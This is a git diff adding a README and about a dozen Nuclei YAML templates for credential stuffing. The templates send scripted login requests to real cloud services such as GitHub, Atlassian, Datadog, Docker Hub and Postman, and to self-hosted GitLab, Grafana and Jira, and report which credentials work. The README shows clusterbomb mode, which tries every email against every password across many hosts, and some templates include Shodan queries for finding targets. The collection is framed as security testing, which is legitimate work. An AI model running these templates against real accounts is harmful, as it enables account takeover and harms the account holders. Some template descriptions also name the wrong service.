diff --git a/http/credential-stuffing/README.md b/http/credential-stuffing/README.md new file mode 100644 index 0000000000..68d4961a05 --- /dev/null +++ b/http/credential-stuffing/README.md @@ -0,0 +1,72 @@ +## Credential Stuffing Templates + +![credential-stuffing](https://github.com/projectdiscovery/nuclei-templates/assets/28601533/bfdd0f4d-60aa-4b87-9cad-1fd4169327f3) + + +This directory contains a collection of credential stuffing templates for both cloud and self-hosted services. These templates help automate the detection and prevention of credential stuffing attempts on your organization's websites and applications using the Nuclei vulnerability scanner. + +### Types of Templates + +- **Cloud Services**: Templates for credential stuffing testing on cloud service providers. +- **Self-Hosted Services**: Templates for credential stuffing testing on self-hosted software instances that often have custom hosting environments. + +### Usage + +#### Cloud Services Template + +An example of using a cloud service credential stuffing template can be seen with the Datadog Login Check template: + +```bash +nuclei -var username=testing@projectdiscovery.io -var password=test123 -id datadog-login-check +``` + +Here, the `-var` option supplies the necessary inputs (username/email and password) to the template. + +#### Self-Hosted Services Template + +An example of using a self-hosted service credential stuffing template can be seen with the Jira Login Check template: + +```bash +nuclei -u https://jira.projectdiscovery.io/ -id jira-login-check -var username=testing@projectdiscovery.io -var password=test123 +``` + +In this case, you also need to provide the hostname/IP of the deployed instance using the `-u` or `--url` option along with the necessary credentials using the `-var` option. + +### Attack Types + +By default, Nuclei uses Pitchfork mode in which it takes the first line from `email.txt` as the username input and the first line from `pass.txt` as the password parameter input. Ensure that both `email.txt` and `pass.txt` have an equal number of entries, with email/password combinations aligned on the same line in both files. + +Starting with Nuclei 2.8, you can override the default behavior using the `-at` or `--attack-type` CLI option. Specifying the attack-type option as `clusterbomb` enables convenient verification of weak credentials for a list of given email addresses across various services. + +For example, assuming `email.txt` contains: + +``` +email1@example.com +email2@example.com +email3@example.com +``` + +And `pass.txt` contains: + +``` +password1 +password2 +password3 +``` + +The command below will check credential validity by sequentially testing each email from `email.txt` with all entries in `pass.txt` across different hosts stored in `jira.txt`: + +```bash +cat jira.txt | nuclei -var username=email.txt -var password=pass.txt -id jira-login-check -attack-type clusterbomb +``` + +Developing custom target-specific templates for internal/custom portals can yield even more comprehensive results. + +### Contributing and Updating Templates + +Help us improve the credential stuffing templates by contributing new templates, reporting bugs, or requesting new features. Contributions are most welcome! + + +Fix issues, add new templates, and update existing ones by submitting a pull request. Always adhere to the best practices for YAML syntax and ensure that your template is tested before submitting. + +Please refer to the template documentation to learn more about writing and submitting new templates to this repository: https://nuclei.projectdiscovery.io/templating-guide/ diff --git a/http/credential-stuffing/cloud/atechmedia-codebase.yaml b/http/credential-stuffing/cloud/atechmedia-codebase.yaml new file mode 100644 index 0000000000..ad725e75f9 --- /dev/null +++ b/http/credential-stuffing/cloud/atechmedia-codebase.yaml @@ -0,0 +1,54 @@ +id: atechmedia-codebase-login-check + +info: + name: Atechmedia/Codebase Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid Atechmedia/Codebase account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,atechmedia,codebase,creds-stuffing + +self-contained: true +requests: + - raw: + - | + GET https://identity.atechmedia.com/login HTTP/1.1 + Host: identity.atechmedia.com + Referer: https://identity.atechmedia.com/login + + - | + POST https://identity.atechmedia.com/login HTTP/1.1 + Host: identity.atechmedia.com + Origin: https://identity.atechmedia.com + Content-Type: application/x-www-form-urlencoded + Referer: https://identity.atechmedia.com/login + + utf8=%E2%9C%93&authenticity_token={{url_encode(authenticity_token)}}&username={{username}}&password={{password}}&commit=Login + + + cookie-reuse: true + extractors: + - type: xpath + name: authenticity_token + part: body + attribute: value + internal: true + xpath: + - /html/body/div/div[2]/div/form/input[2] + + - type: dsl + dsl: + - username + - password + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Set-Cookie: user_session' + + - type: status + status: + - 302 diff --git a/http/credential-stuffing/cloud/atlassian.yaml b/http/credential-stuffing/cloud/atlassian.yaml new file mode 100644 index 0000000000..18a448f6f2 --- /dev/null +++ b/http/credential-stuffing/cloud/atlassian.yaml @@ -0,0 +1,39 @@ +id: atlassian-login-check + +info: + name: Atlassian Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid atlassian account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,atlassian,creds-stuffing +self-contained: true +requests: + - raw: + - |- + POST https://auth.atlassian.com/co/authenticate HTTP/1.1 + Host: auth.atlassian.com + Content-Type: application/json + Origin: https://id.atlassian.com + Referer: https://id.atlassian.com/ + + {"username":"{{username}}","password":"{{password}}","state":{"csrfToken":"{{rand_text_alpha(10, "")}}"}} + + extractors: + - type: dsl + dsl: + - username + - password + + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"error_description":"Wrong email or password."' + + - type: status + status: + - 403 diff --git a/http/credential-stuffing/cloud/avnil-pdf-generator.yaml b/http/credential-stuffing/cloud/avnil-pdf-generator.yaml new file mode 100644 index 0000000000..cd2f0fe964 --- /dev/null +++ b/http/credential-stuffing/cloud/avnil-pdf-generator.yaml @@ -0,0 +1,39 @@ +id: avnil-pdf-generator-check + +info: + name: useanvil.com Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid avnil pdf generator account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,avnil-pdf,creds-stuffing + +self-contained: true +requests: + - raw: + - |- + POST https://graphql.useanvil.com/ HTTP/1.1 + Host: graphql.useanvil.com + Content-Length: 367 + Content-Type: application/json + + {"operationName":"LoginMutation","variables":{"email":"{{username}}","password":"{{password}}"},"query":"mutation LoginMutation($email: String, $password: String) {\n login(email: $email, password: $password) {\n eid\n firstName\n lastName\n email\n preferences {\n require2FA\n __typename\n }\n extra\n __typename\n }\n}\n"} + + extractors: + - type: dsl + dsl: + - username + - password + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"email":"' + - '"eid":"' + + - type: status + status: + - 200 \ No newline at end of file diff --git a/http/credential-stuffing/cloud/chefapi.yaml b/http/credential-stuffing/cloud/chefapi.yaml new file mode 100644 index 0000000000..7645fb51d3 --- /dev/null +++ b/http/credential-stuffing/cloud/chefapi.yaml @@ -0,0 +1,30 @@ +id: chefio-login-check +info: + name: Chef.io Login Check + author: parthmalhotra, pdresearch + severity: critical + description: Checks for a valid chef.io account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,chefio,creds-stuffing + +self-contained: true +requests: + - raw: + - |- + POST https://api.chef.io/login HTTP/1.1 + Host: api.chef.io + Content-Type: application/x-www-form-urlencoded + + utf8=%E2%9C%93&authenticity_token=&authenticity_token=&to=https://api.chef.io/login-success&username={{username}}&password={{password}}&commit=Sign+In + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Location: https://api.chef.io/login-success' + + - type: status + status: + - 302 \ No newline at end of file diff --git a/http/credential-stuffing/cloud/codepen.yaml b/http/credential-stuffing/cloud/codepen.yaml new file mode 100644 index 0000000000..296cfaa9f3 --- /dev/null +++ b/http/credential-stuffing/cloud/codepen.yaml @@ -0,0 +1,46 @@ +id: codepen-login-check +info: + name: codepen.io Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid codepen account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,codepen,creds-stuffing + +self-contained: true +requests: + - raw: + - | + GET https://codepen.io/login HTTP/1.1 + Host: codepen.io + + - | + POST https://codepen.io/login/login HTTP/1.1 + Host: codepen.io + Content-Type: application/x-www-form-urlencoded + X-CSRF-Token: {{token}} + + authenticity_token={{token}}&email={{username}}&password={{password}}&login-type=fullpage + + extractors: + - type: dsl + dsl: + - username + - password + - type: xpath + part: body + xpath: + - '//input[@name="authenticity_token"]/@value' + name: token + internal: true + matchers-condition: and + matchers: + - type: word + part: body + negative: true + words: + - 'The username or password you entered is incorrect, please try again.' + - type: status + status: + - 302 \ No newline at end of file diff --git a/http/credential-stuffing/cloud/datadog.yaml b/http/credential-stuffing/cloud/datadog.yaml new file mode 100644 index 0000000000..f02685c8d7 --- /dev/null +++ b/http/credential-stuffing/cloud/datadog.yaml @@ -0,0 +1,52 @@ +id: datadog-login-check + +info: + name: Datadog Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid datadog account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,datadog,creds-stuffing + +self-contained: true +requests: + - raw: + - | + GET https://app.datadoghq.com/account/login HTTP/1.1 + Host: app.datadoghq.com + + - | + POST https://app.datadoghq.com/account/login? HTTP/1.1 + Host: app.datadoghq.com + Content-Type: application/x-www-form-urlencoded + + _authentication_token={{auth_token}}&username={{username}}&password={{password}} + + + cookie-reuse: true + extractors: + - type: regex + name: auth_token + part: body + internal: true + group: 1 + regex: + - "authentication_token": "(.*?)"," + + - type: dsl + dsl: + - username + - password + + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Set-Cookie: dogweb=' + + - type: status + status: + - 302 \ No newline at end of file diff --git a/http/credential-stuffing/cloud/docker-hub.yaml b/http/credential-stuffing/cloud/docker-hub.yaml new file mode 100644 index 0000000000..669c5ff6ba --- /dev/null +++ b/http/credential-stuffing/cloud/docker-hub.yaml @@ -0,0 +1,47 @@ +id: docker-hub-login-check + +info: + name: Docker Hub Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid atlassian account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,docker,creds-stuffing + +self-contained: true +requests: + - raw: + - | + POST https://hub.docker.com/v2/users/login HTTP/1.1 + Host: hub.docker.com + Content-Type: application/json + + { + "username": "{{username}}", + "password": "{{password}}" + } + + threads: 30 + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'token' + + - type: word + part: header + words: + - 'Set-Cookie: token=' + + - type: status + status: + - 200 + + extractors: + - type: dsl + dsl: + - username + - password \ No newline at end of file diff --git a/http/credential-stuffing/cloud/gitea.yaml b/http/credential-stuffing/cloud/gitea.yaml new file mode 100644 index 0000000000..66457e308d --- /dev/null +++ b/http/credential-stuffing/cloud/gitea.yaml @@ -0,0 +1,37 @@ +id: gitea-login-check + +info: + name: gitea.com Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid gitea account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,gitea,creds-stuffing + +self-contained: true +requests: + - raw: + - | + POST https://gitea.com/user/login HTTP/1.1 + Host: gitea.com + Content-Type: application/x-www-form-urlencoded + + user_name={{username}}&password={{password}} + + extractors: + - type: dsl + dsl: + - username + - password + + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Location: /' + + - type: status + status: + - 303 \ No newline at end of file diff --git a/http/credential-stuffing/cloud/github.yaml b/http/credential-stuffing/cloud/github.yaml new file mode 100644 index 0000000000..75f8afadee --- /dev/null +++ b/http/credential-stuffing/cloud/github.yaml @@ -0,0 +1,74 @@ +id: github-login-check + +info: + name: Github Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid github account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,github,creds-stuffing + +self-contained: true +requests: + - raw: + - | + GET https://github.com/login HTTP/1.1 + Host: github.com + + - | + POST https://github.com/session HTTP/1.1 + Host: github.com + Origin: https://github.com + Content-Type: application/x-www-form-urlencoded + Referer: https://github.com/login + + commit=Sign+in&authenticity_token={{authenticity_token}}&login={{username}}&password={{password}}&trusted_device=&webauthn-support=supported&webauthn-iuvpaa-support=unsupported&return_to=https%3A%2F%2Fgithub.com%2Flogin&allow_signup=&client_id=&integration=&required_field_34b7=×tamp={{timestamp}}×tamp_secret={{timestamp_secret}} + + cookie-reuse: true + extractors: + - type: xpath + name: authenticity_token + part: body + attribute: value + internal: true + xpath: + - /html/body/div[3]/main/div/div[4]/form/input[1] + + - type: xpath + name: timestamp + part: body + attribute: value + internal: true + xpath: + - /html/body/div[3]/main/div/div[4]/form/div/input[10] + + + - type: xpath + name: timestamp_secret + part: body + attribute: value + internal: true + xpath: + - /html/body/div[3]/main/div/div[4]/form/div/input[11] + + - type: dsl + dsl: + - username + - password + + matchers-condition: or + matchers: + - type: dsl + name: 2fa + dsl: + - "contains(location, 'https://github.com/sessions/two-factor')" + - "status_code==302" + condition: and + + - type: dsl + dsl: + - "contains(to_lower(header), 'set-cookie: logged_in=yes')" + - "contains(to_lower(header), 'set-cookie: user_session=')" + - "status_code==302" + condition: and \ No newline at end of file diff --git a/http/credential-stuffing/cloud/postman.yaml b/http/credential-stuffing/cloud/postman.yaml new file mode 100644 index 0000000000..786ba7b413 --- /dev/null +++ b/http/credential-stuffing/cloud/postman.yaml @@ -0,0 +1,51 @@ +id: postman-login-check + +info: + name: Postman Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid postman account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,postman,creds-stuffing + +self-contained: true +requests: + - raw: + - | + GET https://identity.getpostman.com/login HTTP/1.1 + Host: identity.getpostman.com + Referer: https://identity.getpostman.com/accounts + + - | + POST https://identity.getpostman.com/login HTTP/1.1 + Host: identity.getpostman.com + Content-Type: application/json;charset=UTF-8 + X-Csrf-Token: {{csrfToken}} + Origin: https://identity.getpostman.com + Referer: https://identity.getpostman.com/login + + {"username":"{{username}}","password":"{{password}}"} + + cookie-reuse: true + attack: pitchfork + extractors: + - type: xpath + name: csrfToken + part: body + attribute: value + internal: true + xpath: + - /html/body/div/div/div[1]/form/input + - type: dsl + dsl: + - username + - password + + matchers: + - type: dsl + dsl: + - "contains(to_lower(header), 'set-cookie: getpostmanlogin=yes')" + - "contains(to_lower(body), 'identity.postman.co/continue')" + - "status_code==200" + condition: and \ No newline at end of file diff --git a/http/credential-stuffing/cloud/pulmi.yaml b/http/credential-stuffing/cloud/pulmi.yaml new file mode 100644 index 0000000000..fc7c736a70 --- /dev/null +++ b/http/credential-stuffing/cloud/pulmi.yaml @@ -0,0 +1,40 @@ +id: pulmi-login-check + +info: + name: pulmi.com Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid github account. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + tags: login-check,pulmi,creds-stuffing + +self-contained: true +requests: + - raw: + - |- + POST https://api.pulumi.com/api/console/email/login HTTP/1.1 + Host: api.pulumi.com + Content-Type: application/json + Origin: https://app.pulumi.com + Referer: https://app.pulumi.com/ + + {"emailOrLogin":"{{username}}","password":"{{password}}"} + + extractors: + - type: dsl + dsl: + - username + - password + + matchers-condition: and + matchers: + - type: word + part: body + words: + - pulumiAccessToken + - userInfo + + - type: status + status: + - 200 \ No newline at end of file diff --git a/http/credential-stuffing/self-hosted/gitlab.yaml b/http/credential-stuffing/self-hosted/gitlab.yaml new file mode 100644 index 0000000000..b49d88a20c --- /dev/null +++ b/http/credential-stuffing/self-hosted/gitlab.yaml @@ -0,0 +1,59 @@ +id: gitlab-login-check-self-hosted +info: + name: Gitlab Login Check Self Hosted + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid login on self hosted Grafana instance. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + metadata: + shodan-query: product:"GitLab Self-Managed" + fofa-query: product="GitLab" + tags: login-check,gitlab,creds-stuffing,self-hosted + +variables: + username: "{{username}}" + password: "{{password}}" + +http: + - raw: + - | + GET /users/sign_in HTTP/1.1 + Host: {{Hostname}} + + - | + POST /users/sign_in HTTP/1.1 + Host: {{Hostname}} + Cache-Control: max-age=0 + Origin: {{BaseURL}} + DNT: 1 + Content-Type: application/x-www-form-urlencoded + Referer: {{BaseURL}}/users/sign_in + Accept-Language: en-US,en;q=0.9,de;q=0.8 + + authenticity_token={{url_encode(authenticity_token)}}&user%5Blogin%5D={{username}}&user%5Bpassword%5D={{password}}&user%5Bremember_me%5D=0 + + cookie-reuse: true + attack: pitchfork + + extractors: + - type: regex + part: body + internal: true + name: authenticity_token + group: 1 + regex: + - '"/users/sign_in".*?authenticity_token"\s+value="([^"]+)"' + + - type: dsl + dsl: + - username + - password + + req-condition: true + matchers: + - type: dsl + dsl: + - status_code_2 == 302 + - '!contains(to_lower(body_2), "invalid login")' + condition: and diff --git a/http/credential-stuffing/self-hosted/grafana.yaml b/http/credential-stuffing/self-hosted/grafana.yaml new file mode 100644 index 0000000000..704790a2ee --- /dev/null +++ b/http/credential-stuffing/self-hosted/grafana.yaml @@ -0,0 +1,53 @@ +id: grafana-login-check + +info: + name: Grafana Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid login on self hosted Grafana instance. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + metadata: + shodan-query: title:"Grafana" + fofa-query: title="Grafana" + tags: login-check,grafana,creds-stuffing,self-hosted + +variables: + username: "{{username}}" + password: "{{password}}" + +requests: + - raw: + - |- + POST /login HTTP/1.1 + Host: {{Hostname}} + accept: application/json, text/plain, */* + DNT: 1 + content-type: application/json + Origin: {{BaseURL}} + Referer: {{BaseURL}}/login + Cookie: redirect_to=%2F + + {"user":"{{username}}","password":"{{password}}"} + + extractors: + - type: dsl + dsl: + - username + - password + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Logged in' + + - type: word + part: header + words: + - 'grafana_session' + + - type: status + status: + - 200 diff --git a/http/credential-stuffing/self-hosted/jira.yaml b/http/credential-stuffing/self-hosted/jira.yaml new file mode 100644 index 0000000000..b047cb00c0 --- /dev/null +++ b/http/credential-stuffing/self-hosted/jira.yaml @@ -0,0 +1,45 @@ +id: jira-login-check + +info: + name: Jira Login Check + author: parthmalhotra,pdresearch + severity: critical + description: Checks for a valid login on self hosted Jira instance. + reference: + - https://owasp.org/www-community/attacks/Credential_stuffing + metadata: + shodan-query: http.component:"Atlassian Jira" + fofa-query: product="JIRA" + tags: login-check,jira,creds-stuffing,self-hosted + +variables: + username: "{{username}}" + password: "{{password}}" + +requests: + - raw: + - |- + POST /rest/gadget/1.0/login HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Connection: close + + os_username={{username}}&os_password={{password}} + + extractors: + - type: dsl + dsl: + - username + - password + + attack: pitchfork + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"loginSucceeded":true' + - type: status + status: + - 200